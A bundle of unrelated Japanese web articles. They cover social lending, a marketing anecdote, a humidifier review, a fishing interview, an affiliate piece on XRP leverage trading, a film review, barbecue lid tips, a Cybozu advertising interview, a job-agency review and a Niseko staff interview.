株式投資、FXなどの比べて値動きがなく投資のストレスはありませんし、投資家が損するリスクが低い仕組みとなっていることもポイントですね!
ライトニング( @lightningshift9)でした。
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2020年10月末までなのでこのチャンスをお見逃しなく!
ソーシャルレンディングの関連記事を、以下の通りまとめていますので、ぜひ参考にして頂ければと思います。
ソーシャルレンディング会社一覧
ソーシャルレンディング会社の比較
SBIソーシャルレンディング
FANTAS funding
ソーシャルレンディング
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制作の流れ Workflow
お客様の声 Voices
0745-60-3746
top > ブログ > マーケティング講座-Vol4-工夫ひとつで売り方を変える
マーケティング講座-Vol4-工夫ひとつで売り方を変える
ひと昔前、MD(ミニディスク)というものが流行りました。
MDが市場にも出回ったのを見計らって、バリ島にまだない商品で日本人が好むように、バリ島の職人さんにアタ製品をカスタマイズし、MDケースを作ってもらおうとしたのです。初登場になるので、売れるだろうというのが当初の見込みでした。サニタリーストッカー同様、アタと呼ばれる植物を編み込んで作るMDケース。実は、仕上がった商品が日本へ到着してから問題が発生したのです。
”MDが入らなかった・・・”
これはもう致命的なミスでした。勿論、サイズは現地エージェントに正確に伝え、更にそのデザインや型紙まで職人の元に持ち込み、説明した上で製作に入ったはずなのです。実は、現地人はMDを使わない、持っていない、極めつけは見たことない・・というのが現実で、後から考えればそりゃそうだろうって話だったのですが・・・。
そして私の手元に残った数十個のMDケースを見て途方に暮れました。
実際にオーダーしたアタのMDケース
私は考えるしかなかったのであらゆる手を考えました。これに●●を入れてみたらどうだろうか?或いは、××ならばどうだろうか?
悩んだ末、工夫ひとつで大きく風向きが変わりました。お香を入れてみたところ、サイズがピッタリだったのです。
しかも、いくつもストックできるところから商品名を「アタ製お香ケース」として販売することに決定しました。
単にお香ケースだけでは顧客側へのアピールポイントがはっきりしないだろうと考え、売上単価もあげることができるのはこれしかない!
「お香も今だけセットになった業界初のアタ製お香ケースが日本初登場!」
ってこうしたわけです。お香ケースというアタ製品も実はなかったのです。嬉しいことに即日ネット(小売オーダーのみ)で完売なのです。まさに、9回裏2アウトからの逆転ホームランでサヨナラゲームを演じたかのような嬉しさでした。つまり、少しでも頭を使えば、成功に導く可能性があるということです。価格を下げないと売れないと単純に思い込んだり、アウトレットと称して売ってみたり、そして最後には諦める・・・というのはいつでもできることでしょう。少しの工夫が勝利を呼び込み売上を上げる。


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text:
3COINS 加湿器 スリーコインズ タンブラー加湿器 エコ加湿器
こちらはサボテンデザイン(クローバーもあります)
水を吸い上げて加湿する仕組み
カップごとマグカップや鉢カバーなどに入れれば、インテリアとして楽しめるのもポイント(付属カップのサイズは直径8×高さ9cm)。なお加湿ペーパーはポリエステル製のため、紙製に比べると吸水スピードがやや遅い印象でした。
直接水を入れないのでカップが汚れません
■アニマルデザインの加湿ペーパー
ラッコとシロクマの2種類
海で暮らす動物たちをデザインした自然気化式加湿器。ビニール製の受け皿に水を入れ、紙製の加湿ペーパーを入れて使用します。細長いので窓辺にも置きやすい。
ぷかぷか浮かぶラッコに癒される~
最後はタンブラーをモチーフにした超音波式加湿器。同店では高めの1,000円商品(税別)ですが、非常に使い勝手が良くギフトにもオススメです。
カップに水を入れ、フタをしてUSBケーブルでパソコンやバッテリーと接続。フタの上部にはタッチセンサーが搭載されており、指でなでるだけでスマートに操作できます。
カップに水を入れてフタをします
そっとなでるだけで操作可能。オシャレ!
ひとり分には十分な加湿量
8時間の連続運転後に自動で電源が切れるオートOFF機能付き。モバイルバッテリーにつなげば移動も簡単です。
噴出方法は2種類選べます
会議室にも持ち運べる?
本体のシールがはがせるのでお好みでデコレーションしたり、本体ごと別のタンブラーに入れたりしても良いですね♪なおこちらの商品は取扱店舗が限られており、筆者は池袋店で購入しました。
本体ごと別の容器に入れても
いずれも部屋全体を加湿するものではありませんが、静かなのでペットや子どもがいる部屋でも安心して使えそう。お店で見かけたらぜひ手に取ってみてください!
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text:
「釣りを始めたのは子どもの頃、親に連れていかれたからです。よくあるケースですよね(笑)。それで、魚の引きを味わってから、釣りを大好きになりました。その頃、週刊少年マガジンに連載されていた漫画『釣りキチ三平』の影響もかなり大きいです」
釣りキチ三平……。懐かしいです。影響を受けた人は多いですね。
「おもしろくて、ハマりました(笑)。そして、釣りが好きなまま大人になって、第二次バス釣りブームの頃には毎週のように某有名釣り場へ通っていました。その後、仕事の都合で一時期、釣りをしない期間がありましたが、あるとき仕事の赴任先の愛知県で知人に誘われて、再び釣り熱が復活しました。このときにすすめられたのがアオリイカを対象としたエギングだったのです」
エギングはバスに近いかもしれませんね。
「そうなのですよ。そのゲーム性の高さにすぐに魅了されました。Plan-Do-Seeを繰り返して釣り上げる喜びは何物にもかえがたいです。地元の新潟に戻ってからも秋の新子のシーズンにはアオリイカが釣れることを知り、それ以来、この時期はエギングばかりをしています」
新潟ではアオリイカが釣れるのは秋だけなのですね?
「通説では春の産卵時期の親のアオリイカは新潟の沿岸部にはいないとされていました。でも、今年は異常事態が起こり、冬季の海水温が下がりきらなかったためか、晩春にアオリイカの目撃情報が多々あり、僕も6月後半にエギングをしました。すると、1kgを超えるサイズのアオリイカを釣り上げることができて……」
「手が震えるほど感動しました。この感動を味わうと釣りはもうやめられません」
6月に釣れたkgアップのアオリイカ!(画像はytk*さんのサイト「2019年6月29日『この時期にアオリイカが釣れるなんて!』」より)
バイク釣行もするのでロッドはパックロッド
そんな感動を味わうためにエギングで釣果を上げるコツを教えていただけますか?
「まず高額なものでなくてもよいので偏光サングラスは用意するべきです。エギを追いかけてきたアオリイカを確認するのはもちろん、エギングはラインの変化でアタリを取ることも多いので、そのラインを目視するためにも偏光サングラスがあったほうがいいです」
目で確認する釣りなんすなぁ。
「そうです。次に、いろいろな釣り場に出向いて経験値を上げるのもいいですが、同じフィールドに通うことに通うことも大事だと思います。これはもちろん、毎回、同じ位置からキャストするという意味ではありません。私自身、同じ堤防でも先端でやるのか付け根付近でやるのかは毎回違いますし、ときには隣の堤防に行ったりもします。車を使うような大きな移動はしないで、そのフィールドを見極めるという意味で、そうすることにより見えてくるものがあるのです。その日その日でまるっきりコンディションが違うことも多々あり、その状況に合わせて作戦を考えることによって、アオリイカを狙う釣り人として成長できると思います」
他のプロスポーツでもホームタウンディシジョンがありますもんね(←微妙に間違った例え)。他には?
「釣具屋さんに話を聞くですかね。最近はネットショッピングでエギなどを購入する方も増えているようです。確かに実店舗よりも割安で購入できるなど、魅力も多いのですが、そこをあえて僕は実店舗で買うようにしています。というのも、釣りで必要なものの一つに『情報』があって、釣具店には情報が集まっていますし、スタッフからノウハウを学ぶこともできます。ですので、買い物をする際に無言で店舗を去るのではなく、ぜひ積極的に店員さんに話しかけましょう」
ytk*さんが 最近、買ったエギ。画面右のエギはクジで当たったのですって!(画像はytk*さんのサイト「2019年9月22日『釣具屋をハシゴしてしまう。』」より
次は気になるタックルについてです。
本サイトの管理人です。34はゲーム「クラッシュ・オブ・クラン」のアカウント名です。いや、名前なんかは何でもよいのです。大抵のゲームは、このアカウント名にしています。本職は紙媒体の編集&ライターです。
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更新日:2019年9月28日
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BitFinex(ビットフィネックス)
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BitMax(ビットマックス)
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リップルの仮想通貨FXを始めるならリキッドバイコイン!最大25倍のレバレッジ取引が可能。
更新日:2019年4月28日
リップルにレバレッジをかけた取引を始めたいと思っても、そもそもアルトコインのFX取引が可能な取引所は少ないですよね。
また、数少ないリップルのFX取引可能な取引所を見つけても、レバレッジ倍率が小さくてがっかりすることもあります。
そんなときにご紹介したいのが「リキッドバイコイン」です。なんと最大25倍のレバレッジをかけたリップルの取引が可能です。
本稿ではリキッドバイコインにおけるリップルのレバレッジ取引について解説しています。
最大25倍のレバレッジと手数料の安さで人気!
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1 リキッドのレバレッジ取引にリップル(XRP)が追加
1.1 なぜリップルのレバレッジ取引は人気が高い?
2 リップルで最大25倍のレバレッジ取引ができるのはリキッドバイコインだけ
3 レバレッジ手数料は?
4 リキッドのレバレッジ取引の手順
リキッドのレバレッジ取引にリップル(XRP)が追加
仮想通貨取引所のリキッドバイコインでは、これまでビットコインやイーサリアムのレバレッジ取引が可能でした。
これらの仮想通貨に加え、2018年10月19日からリップルのレバレッジ取引が開始されました。
(参考:2018年10月22日(月)の週報 | 仮想通貨業界で真面目に働く社長のブログ)
リキッドバイコインでは各通貨のレバレッジ取引でレバレッジ倍率を2倍、4倍、5倍、10倍、25倍に設定することができます。
仮想通貨界隈で根強いファン・熱狂的なファンがいるリップルが25倍もの高レバレッジで取引できるようになったわけです。
なぜリップルのレバレッジ取引は人気が高い?
リップルは人気の高い仮想通貨です。実際、時価総額はビットコイン、イーサリアムに次ぐ3位にランクインしています。
また、金融サービス大手のSBIグループ傘下の仮想通貨取引所「SBIバーチャル・カレンシーズ」が2018年6月から仮想通貨取引所サービスを開始していますが、そこで1番初めの取引銘柄に選ばれたのがリップルでした。日本の金融大手もリップルに注目しているわけです。
これほどまでにリップルの人気が高い理由は以下の2点にあると考えられます。
仮想通貨ドリームを体現
まず1つ目の将来性ですが、リップルには「金融機関同士の送金を媒介して国際送金や国際決済の高速化・低コスト化を実現する」という役割があり、現在多大な手間とコストがかかっている国際送金・国際決済の問題を解決するために世界中の金融機関がリップルを利用する可能性があるのです。
実際、日本の銀行大手の三菱UFJ銀行がリップルの技術を用いて国際送金の実証実験を始めるという報道もなされています。
多くの金融機関で使われるようになれば需要は爆発的に増え、リップルの価値も上がると考えられます。
また、リップル(XRP)自体が他の仮想通貨に比べて高速・低コストで送金可能です。
この実用性・将来性がリップルの人気につながっています。
2つ目の仮想通貨ドリームについてですが、リップルは日本で仮想通貨に人気が出始めてから熱狂的なブームになる間にとんでもない値動きをしました。
2017年の頭におよそ0.75円だったリップルが2018年の初頭には385円まで高騰したのです。
わずか1年でおよそ500倍です。
2017年の頭に10万円分のリップルを購入しておけば2018年の初頭には5,000万円になったわけです。
リップルの暴騰のおかげで莫大な利益を得た人たち、「億り人」と呼ばれる人たちも登場しました。
まさに「仮想通貨ドリーム」。このとんでもない値動きには夢がありました。
ボラティリティ(値動き)が激しければ激しいほど、大きな損失を被る可能性も上がりますが、一獲千金のチャンスも大きくなります。
さらに、レバレッジ取引であれば値動きの大きさを増幅させた売買が可能です。しかも、価格上昇時だけでなく価格下落時にも稼ぐチャンスが生まれます。
このように、将来性の高さや一獲千金のチャンスがあるといった理由からリップルのレバレッジ取引は人気があります。
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リップル(Ripple)とは?特徴や評判、将来性を詳しく解説
リップルで最大25倍のレバレッジ取引ができるのはリキッドバイコインだけ
ただでさえ値動きの激しい仮想通貨ですが、25倍ものレバレッジをかけることでより一層ハイリスク・ハイリターンな取引が可能になります。
リップルを25倍のレバレッジで取引できるのは、国内大手取引所ではリキッドバイコインだけです。
金融庁にて仮想通貨交換業者登録が済んでいる取引所における、リップルでのレバレッジ倍率は以下の通りです。
リップルの最大レバレッジ倍率
ビットコインをレバレッジありで取引できる取引所はたくさんありますが、アルトコイン、特にリップルをレバレッジ取引(FX取引)できる取引所はそもそも少数です。
しかも、リキッドバイコイン以外でのレバレッジは最大で5倍にとどまっています。
仮に10万円の元手がある場合、GMOコインやDMMビットコインでは50万円分しか取引ができませんが、リキッドバイコインなら250万円分の取引ができます。
リップルで最大25倍のレバレッジ取引が可能!
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いくらリップルで高レバレッジ取引が可能とはいえ、あまりにも手数料が高額だと儲けが減ってしまいます。
リキッドバイコインのレバレッジ手数料は、建玉を翌日に持ち越した際にスワップ手数料として、1日あたり0.025%かかります。
※取引手数料は無料です。
なお、リップルのレバレッジ取引の取扱があるGMOコインとDMMビットコインにおける手数料は以下のとおりです。
建玉を翌日に持ち越した際の手数料
(出典:手数料一覧 – Liquid by Quoine(リキッドバイコイン) Help center ~登録から取引までご案内~/手数料(入出金・取引)| GMOコイン/仮想通貨取引の手数料について – 【DMM Bitcoin】 – 今、仮想通貨を始めるならDMMビットコイン)
リキッドバイコインのレバレッジ手数料はリップルをレバレッジ取引できる他の取引所よりも手数料も安いことが分かります。
レバレッジ倍率が高く、手数料も安いリキッドバイコイン、素敵ですね。
リキッドのレバレッジ取引の手順
リキッドバイコインでのレバレッジ取引の手順を簡単にご紹介します。
まず、リキッドバイコインで口座を開設したのち、サイトトップ右上にある「ログイン」からログインします。
画面上部の「レバレッジ取引」を選択します。
左上に「BTC/JPY レバレッジ」などと通貨ペアが表示されている部分から「JPY」のタブ内にある「XRP」を選択します。
右側にある「注文パネル」で「ロング」(買いから入る)・「ショート」(売りから入る)を選択し、注文方法やレート、注文数量を入力します。(※初めて注文する際は「多機能注文オプション」内でレバレッジ倍率を設定しましょう。)
入力が完了したら注文ボタンをクリックします。
※詳しくは以前の記事をご確認ください。画面のキャプチャ付きで解説しています。
リキッドバイコイン(Liquid by Quoine )の登録方法や使い方を徹底解説。口座開設...
本稿では国内の仮想通貨取引所「リキッドバイコイン」でリップルの仮想通貨FX(レバレッジ取引)を始める利点について解説しました。
レバレッジ倍率の大きい取引は元手以上の損失が発生することもあるため細心の注意が必要ではありますが、少しの資金で大きなリターンを得られる可能性もあります。
「億り人」を目指す上での1つの選択肢になるかもしれませんね。
ファンの多いリップルで25倍ものレバレッジをかけた取引ができるリキッドバイコイン、無理のない範囲で一度試してみてはいかがでしょうか。
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初心者におすすめの取引所!
ビットバンクのトレード画面はシンプルで見やすく、初心者に優しい仕様となっています。
また、全ての売買手数料が無料となっており、リップル(XRP)を始めアルトコインを安く購入することができます。
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-レバレッジ取引, 国内取引所
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text:
アラジン - 四季のこころリニック 東広島市西条町御薗宇の心療内科・漢方内科のクリニック 四季の心クリニック
最近かつての定番アニメの実写化が盛んですが、そのなかでも期待の本作を上映開始間近にT-JOY東広島の大スクリーン6番シアターにて修行してきました。
ストーリーはアラビアンナイトの「アラジンと魔法のランプ」でもあり、概略はほとんどの人が知っているのではないでしょうか?
しかし、本作を観て感じたのはまずまず紆余曲折がある成年の成長物語として、しっかり地に足がついた作品だな~という印象を持ちました。
しかし、なんといっても見どころは主題歌をはじめとしたミュージカル仕立ての楽しい展開ではないでしょうか?ここ数年注目されているインド映画であるボリウッド的世界を推し進めており、ボリウッドに対するハリウッドからのアンサーソングのような印象を持ちました。
加えて、音楽を担当したチームはあの「ラ・ラ・ランド」の音楽を手掛けたチームでもあり、全編に楽しく眩いばかりの音楽がちりばめられており、ミュージカル好きのわたしなどからすれば、再度の修行に来てもいいな~という出来でした。
本作の素晴らしさからすると、今冬に公開される「アナ雪2」も今から楽しみですね。
P.S.結局、8月に入り、再度の修行に行ってきましたが、やはりいい映画は何度観てもいいという感じで話を追うことにとらわれず、ゆっくりひとつひとつのシーンを堪能してきました。とくに魔法の絨毯でふたり空をかけるシーンは素晴らしく、幼い頃によく夢でみた景色のようなデジャブ感のあるもので、何度でも観てみたいという気持ちになりました。


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text:
蓋なしで焼くよりも、蓋をした状態で焼く方が火の通りが良いです。理由は単純に熱がこもるからなのですが。
蓋をすることで、厚い肉も中まで火を通すことができますし、野菜がパサパサになるようなことを防げます。
一つ問題があるとすれば、蓋によっては中身が見れないので、定期的に確認する必要があるくらいでしょうか。
燻製にすることもできる
新富士バーナー スモークウッド さくら
サクラのスモークウッドなんかがホームセンターや楽天など通販サイトで売られていますが、バーベキューのときにはこれらの燻製用チップを持っていくと、簡単に燻製肉を作ることができます。
炭の上にチップを敷き、煙が出てきたら蓋をしましょう。蓋をして60〜90分スモークすることで、燻製肉ができあがります。
時間に余裕があれば、さらに+30〜60分スモークさせるとより美味しくなりますよ。
食事のメリットではありませんが、これも立派なメリットです。
肉を焼いていると、油がそこかしこに飛び散ります。バーベキュ−だけのことではなく、日常での料理もそうなので仕方がないことではありますが、蓋さえあれば汚れが飛び散ることを防ぐことができます。
最初から最後までしっかり蓋をして肉を焼くよう意識していれば、衣服が汚れないだけでなく、片付けも圧倒的に楽になります。
もちろん、蓋をしてばかりのバーベキューにするには鍋奉行ならぬバーベキュー奉行である必要があるので、苦にならないならやってみましょう。アウトドアですし、そういったことを気にせず楽しむ方がメリットが大きい気もしますが…。
バーベキューセットに蓋がないときの代用品
バーベキューをするのに蓋は必需品!といっても過言ではないことが分かったところで、蓋がない場合の代用品3つをそれぞれ見ていきましょう。
蓋を新たに買うのが面倒!だという方は、丸みのあるフライパンを持ち込みましょう。反対向きにしてかぶせれば、蓋の代わりに利用することが可能です。
ただし、長時間蓋にすると、鍋へのダメージも出てきます。大事にしたい鍋ではなく、使い込んでいる鍋・もう使っていないけど捨てきれずに持っている鍋などを蓋代わりにすることをおすすめします。
LODGE(ロッジ) 正規品 グラスカバー 8
平なものではなく、丸みのあるガラス蓋ですね。
これのメリットは、焼いているものの中が蓋を開けずとも分かることです。「今どれくらい焼けているのか」が直感的に分かるので、バーベキュー初心者ほどおすすめできるのがガラス蓋。
注意点としては、亀裂の入ったガラス蓋は割れる恐れがあることでしょう。また、使い終わってすぐに冷たい水で洗うのもNGです。割れますからね。
遠藤商事 お好み焼用丸カバー 大
最後に紹介するのは、ステーキカバーです。お好み焼き屋さんなどでも見る、取っ手の付いたカバーですね。
これなら軽いから持ち運びも楽ですし、ガラス蓋と違って割れる心配もありません。また、蓋専用のアイテムなので、使用用途としてマッチしているので、フライパンのように消耗を気にすることもないでしょう。
これを「持っている」という人が圧倒的に少ないのが問題点ですね。バーベキュー・燻製用に事前に用意する必要があるため、手間といえば手間です。
が、個人的にもバーベキューで蓋焼きをするのはステーキカバーが一番楽だと考えています。1,000円前後で買えるので、これから何度もバーベキューをする機会があるという方は、用意して損のないアイテムですよ。
ただ焼くだけのバーベキューも、蓋さえあれば蒸し焼きや燻製など、料理の幅が一気に広がります。
蓋付きグリルを持っている人がいるなら、それを使うのが一番手っ取り早いですが、そこまで本格的にやっている人が周りにいない場合は、代用品を使って蓋をする方がコスパ的にも優れています。
より美味しく、片付けの手間を省くためにも、代用品で蓋をして素敵なバーベキューの思い出を作りましょうね。
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text:
そこでサイボウズでは、年末ということもあり、この1年間がんばって感染拡大予防に向けて尽力されてきた皆様に「お疲れさま」の気持ちを届けようと企画させていただきました。
12月に放映された「お疲れさま、ニッポン」のテレビCM。
様々な働き方を実践する9人のワンシーンと「2021年、より自分らしい働き方を」のメッセージで動画は締めくくられている。
新聞広告については、まず12月18日に著書を一覧にした全15段広告(全面広告)を日経新聞に掲載しました。
2020年12月18日に日本経済新聞朝刊にて掲載された『お疲れさま、ニッポン』。
その後、12月に放映中のCMと連動し、3日連続で日経にサイボウズ本の広告を掲載しました。メッセージだけでなく新しい働き方を実践する上での参考書を「経営者」「マネジャー」「若手」でチョイスして、メッセージを発信しています。
15段広告1回、1日だけの出稿ですとその日たまたま新聞をご覧にならなかった方もいらっしゃると思い、「お疲れさま」のメッセージを届けたい方々ごとに内容を分けて複数回広告を打ちました。
2020年12月21日 日経新聞朝刊
2020年12月22日 日経新聞朝刊
2020年12月23日 日経新聞朝刊
元となる企画部分は自分たちで考える
―――「がんばるな、ニッポン」を始め、「労働時間削減、結局現場に無茶ぶりですか?」「#まとまると強い」など、貴社の広告はインパクトのあるメッセージ性の高いフレーズが多い印象があります。全て社内で検討されているのですか?
基本的には、自社で企画をするように努めています。クリエイティブ制作はパートナー代理店にお願いしていますが、元となる企画部分はできるだけ自分たちで考えることにサイボウズはこだわってきました。
お客様の状況、ITシステムと絡めた社会的課題については、私たちメーカーがずっと追いかけてきて熟知しているため、よりよい訴求テーマを見出せるのではないかという考えです。なので、メッセージを考える際は必ず、ふわっとしたフレーズではなく、現場目線で、その時々の課題に即したメッセージとなることをポイントにしています。
―――昨年末より、キントーンのCMもよく見かけますが、2021年のブランドプロモーションはどのような方針、施策を検討中でしょうか?
企業ブランドのコミュニケーションについてですが、今年また日本社会で大きな課題となるテーマが立ち現れた際には、私たちが改善したいと考えている「無駄な仕事の仕方を見直そう」と絡めて、コミュニケーションできればと考えています。
―――大槻様、ありがとうございました。
2021年2月17日に発信した同社の新聞広告「多様性に関するお詫び」がSNSを中心に話題となりました。
2021年2月17日 日経新聞朝刊
広告のタイトルでは「多様性に関するお詫び」、その後には「弊社の取締役が3人のおじさんだった件について。」と記載。
「100人100通りの働き方」を推進し、多様性の実現に取り組んでいた同社内でしたが、現在の取締役は「おじさん3人」であり、多様性のある職場を実現できていなかったとお詫びをしている。
ネット上では共感の声や自らの意見、一部批判的なコメントが交わされ、こちらの広告内容をめぐってちょっとした討論となりました。
“多様性に関するお詫びなので、問題は「おじさんが居る」ではなく、「おじさんしかいない」…取締役が全員大卒の若い男性だったら同じ問題です。”
“取締役3人が"おじさん"であることをお詫びできる会社って、日本にはまだまだ少ないんじゃないかな。”
“サイボウズの日経広告。取締役がおじさんであることが問題ではなく、性別・国籍・年齢含め、社員をどう登用してどのように成果を出し、どの軸で評価をしているのかが明確に定まっていないと、おじさんが取締役を退任したからって何も変わらないよ。大好きな会社なのに残念…”
ただ、多くのユーザーにとって、多様性について考えさせられる良い機会となったのではないでしょうか。
『がんばるな、ニッポン』をはじめ、現代の“当り前の働き方”を問うメッセージ性の強いサイボウズの広告。
当たり前の光景を問うメッセージゆえ、モヤモヤを感じる方もいらっしゃるとは思いますが、その“モヤモヤ”について問うことが、新しい働き方の1歩につながるような気もしています。
様々な当たり前が見直された昨年は特に、サイボウズのメッセージを考えさせられた方は多かったはず。
今後の同社の展開にも、注目していきたいですね。
コーポレートブランディング部長 / サイボウズ式ブックス編集長
2000年 大学卒業後、知人と株式会社レスキューナウを創業
2005年 サイボウズへ転職。以降、マーケティングに従事
2009年 新規事業「サイボウズLive」立ち上げメンバーに
2012年 「サイボウズ式」を立ち上げ、初代編集長を務める
2015年 コーポレートブランディング部長就任
2019年 出版事業「サイボウズ式ブックス」を立ち上げ
大手食品メーカーで営業職を経験後、株式会社ビズパへ創業メンバーとして入社。編集長として「広告ラボ」の編集・記事執筆、広告のプラットフォーム「BIZPA」に広告媒体を掲載している企業のサポート、クライアント向けのメディアプランニングを担当。テレビ番組や専門紙などのメディアにも出演しながら様々な広告について解説している。
ゴルフレッスンプラス - レッスンに特化したゴルフ情報誌 | メディアインタビュー
アイセイ薬局 - 待ち時間を使ったプロモーション | メディアインタビュー
Dジャーナル - 創刊50年を超える神戸市の地域情報誌 | メディアインタビュー
Cheer Drive(チアドライブ) - クルマを利用した広告メディア | メディアインタビュー
電車広告について | 広告費用や種類、事例など
アドトラック(トラック広告)とは | 広告費用や事例など
大手食品メーカーで営業職を経験後、株式会社ビズパへ創業メンバーとして入社。
編集長として「広告ラボ」の編集・記事執筆、広告のプラットフォーム「BIZPA」に広告媒体を掲載している企業のサポート、クライアント向けのメディアプランニングを担当。


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text: 不調な時、病気の時はたくさんの情報を取り入れるのではなく、余計なことを省いていくこと、シンプルであることが大切だと考えています。


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text:
ここまででワークポートの特徴について確認をしてきました。
次に、ワークポートが扱っているエンジニアの求人について、解説をしていきたいと思います。
圧倒的に豊富な求人案件数
ワークポートは総合転職エージェントとして、リクナビやマイナビにも劣らぬほどの豊富な求人案件を保有しています。
エンジニア以外のものも含めると常時15,000件以上も保有しているので、数多くの選択肢の中から自分にマッチする求人案件を探すことができます。
求人案件の多くは非公開求人となっており、企業のホームページなどから直接応募できないものが中心となるので、転職活動の際はぜひ利用されると良いでしょう。
IT業界やゲーム業界に強み
もともとはIT業界やゲーム業界の求人案件を専門に扱ってきたことから、ワークポートはこれらの業界に強みを持っています。
17年の長い実績と50万人以上の利用者の数から、多くの企業とのコネクションを持っており、ベンチャーから大手まで幅広い企業の求人案件を取り扱っています。
IT業界やゲーム業界への転職を考えている方は、利用しない理由はないと思いますので、ぜひ一度無料相談をされてみると良いでしょう。
大手企業への紹介実績あり
ワークポートは大手企業への紹介実績もあり、大手企業を狙う方にもおすすめできるエージェントです。
例えば、IT業界ではサイバーエージェントやCTCといった東証一部上場企業、ゲーム業界ではセガやカプコムといった有名企業への紹介も行ってきました。
これらの企業の求人案件には直接応募できないものが多いため、大手への転職を考えている方は利用を検討されると良いでしょう。
現役エンジニアのワークポートの評価
以上でワークポートの特徴と扱っているエンジニアの求人について確認をしてきました。
これらを踏まえ、最後に、現役エンジニアがワークポートを評価していきたいと思います。
エンジニアは利用すべき
ワークポートはITに強い転職エージェントとして、エンジニアにもよく知られています。
そのため、エンジニア転職を考えているのであれば、求人を取りこぼすことのないようにぜひ利用されると良いでしょう。
業界としてはIT業界やゲーム業界が強いですが、それ以外の業界の求人も取り扱っていますので、例えば社内SEの求人を狙っている方にとっても役に立つことでしょう。
大手企業へ転職ができる
ワークポートは大手企業の求人案件も多く取り扱っていることから、大手企業を狙っている方におすすめのエージェントです。
転職の理由として最も多い年収アップは、業績の良い企業や成長性の高い企業でないと実現することができません。
大手企業だからといって必ずしもそれに該当するわけではありませんが、中小企業よりも割合が多いことは確かです。
未経験者の転職に使える
ワークポートは未経験者のエンジニア転職にも使える、数少ないエージェントです。
未経験者にとって、ワークポートを利用する最大のメリットは、エンジニアスクールが無料で利用できるという点でしょう。
プログラミングスクールは通常高いお金を払って通うものですが、ここでは無料で利用し、スキルを身につけることができます。
英語・プログラミングが好きなWeb系エンジニアです。新卒で商社の海外事業部に配属→3年弱で退職→IT企業勤務(NOW)です。本業の傍、副業でWordPress関連のお仕事やアフィリエイトなどをしまくっています。皆さんのお役に立てれば嬉しいです。
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HOME >  PROGRAM >  【エンジニア転職】ワークポートの評価はどう?【現役エンジニアが解説】
英語・プログラミングが好きなWeb系エンジニアです。新卒で商社の海外事業部に配属→3年弱で退職→IT企業勤務(NOW)です。本業の傍、副業でWordPress関連のお仕事やアフィリエイトなどをしまくっています。皆さんのお役に立てれば嬉しいです。


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text:
どんな業種にしても、まずは自分が提供しているモノやサービスにおいて、
「いったいどんな価値をお客様に提供すれば喜んでもらえるのか」
を考える必要があると思います。
ただし「安い」「うまい」「早い」といった某牛丼屋が打ち出すようなものはあまり価値にはなりえません。どこも同じようなことをやっているからであって「9秒カレー」のように圧倒的に早く提供することができるとかいうものでない限り価値にはなりえないでしょう^^;
これらを考えるときは、他社と比べて自分のモノやサービスにはどういった特徴があって、その特徴はお客様にどんな付加価値をもたらすのかといったことを考える必要があるでしょう。
「いや、そんなことをいってもすぐに思いつかないよ~」
という方もおられるかと思います。その特徴を見つけられなければお客様に直接聞くのが早いと思います。
具体的にはお客様の声をいただくことです。自社の商品を購入していただいた方にアンケートを実施して、購入の決め手となったことを何点かピックアップしてもらって、それを元に自分の提供する価値を見出すのが一番手っ取り早いと思います。
どうやって価値をお客様に届ける?
これで自分がお客さんに提供できる価値はだいたいわかってきました。次は自分の価値をどうやってお客様に提供するのかといったところを考える必要があります。
価値だけあってもそれがお客様にうまくいきわたらないことには価値を提供したとはいえないですからね^^そこでもっとも考えるべきこととしては
「ホームページやSNSの活用」
ということになってくると思います。
これらのツールをうまく活用することで、自分が提供したいと思っている価値をダイレクトにお客様に届けることができます^^では具体的にどのようにすればいいのでしょうか?
その価値を欲しがっている人は誰ですか?お金出しても欲しいと思える人(ターゲット)を具体的に連想します。
2、HPやSNSでは価値を前面に押し出してアピールする
HPやSNSではその人に向けて訴えかけるような形で展開していくようにします。その際、商品を買ってくれればお客様にどんなメリットがあるのかを具体的にわかりやすく書いていくようにします。(お客様の声、体験談など。)
3、HPでは情報最優先にする
HPではお客様は検索エンジンを使ってくることが多いです。その場合、情報が多いHPというのはヒットしやすいですし、信頼性もアップするのでとても喜ばれます。
どういった情報を書けばいいのかは大きく2つに分けられます。
・その商品についての具体的な使用方法などの情報
・売っているご本人のプライベートな情報(趣味、日常の出来事など)
やはりお客様も売っている方の人柄には関心があります。その人となりがよくわかるようにすれば親しみやすさも感じて買ってもらえることもあると思います。
でもあまりプライベートな情報を切り売りするやり方は苦手とかやりたくないという方場合は、従業員の方にも頼み込んでみたり、顔写真ではなくてイラストにしてみたりして工夫すればいいかと思います。
4,あまり売り売りにならないようにする
たまにこうしたホームページもたまに見かけますが、あまり商売っ気を前面に出すホームページよりは、こんな感じでやってます的な引いた見せ方の方が反応がいい場合もあります。
この辺は業種などにもよりますのでさじ加減がむずかしいと思いますので、やりながら適宜調整すればいいと思います。
いかがでしたでしょうか?価値を届けるというのは意外にむずかしいですし、それをHPやSNSで表現することもうまくできないといったこともあるでしょう。
しかし、商売をしていくうえでその人が提供できる「独自の価値」を持っていれば、圧倒的に仕事がやりやすいことはたしかです。最初は大変ですが、ぜひうまく自分の価値を見つけ出して、それを打ち出すような形にすればいいかと思います^^
Posted by seike_toshi
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text:
INTERVIEW ニセコモイワ支配人吉村 政哉さん
ニセコモイワで働きたいと考えている人へ
NISEKOで働き、雪と暮らす
上質なパウダースノーで世界中のスノーボーダーを魅了する、日本屈指のスノーリゾート”ニセコ”。そこに訪れるのは、冬の休暇を楽しむ旅行者ばかりではありません。
11月に入ると、ゲレンデや宿泊施設等で働きながら最高の雪を楽しもうと、シーズンスタッフ達が国内外から続々と集結します。国際的な大規模リゾートは、彼らによって支えられているのです。
北海道の中でも、これほど多国籍で、同じ目的を持った人が集まる場所は他にありません。スノーボードやスキーを通じて国際的な経験が出来るエリアとしても魅力的です。
採用決定、ニセコモイワへ!
今回の主役は、MOJANEユーザー岡本佑斗君(27歳)。コアなパウダーフリークから支持を得るニセコモイワスキーリゾートのスタッフとして、この秋からモイワでの生活を開始しました。
彼が過ごすひと冬を追い、ゲレンデの仕事やスノーボードライフに迫ろう、という計画です。
Vol.1となるこの記事では、岡本君が転職を決めるまでの経緯や、採用決定後の素直な気持ちを話してもらいました。雪山と密接な暮らしがしたい。スキー、スノーボードに携わる仕事がしたい。そう考えている方は、是非彼の体験を参考にしてみてはいかがでしょうか。
INTERVIEW YUTO OKAMOTO
岡本佑斗くん 1991年生 / 札幌市出身
気持ちを雪山に向かわせたもの
moro : 晴れてニセコモイワで働くことになった訳だけれど、札幌都心のビジネスマンだった岡本君がスノーリゾートの仕事をしようと決めたいきさつを話してくれる?
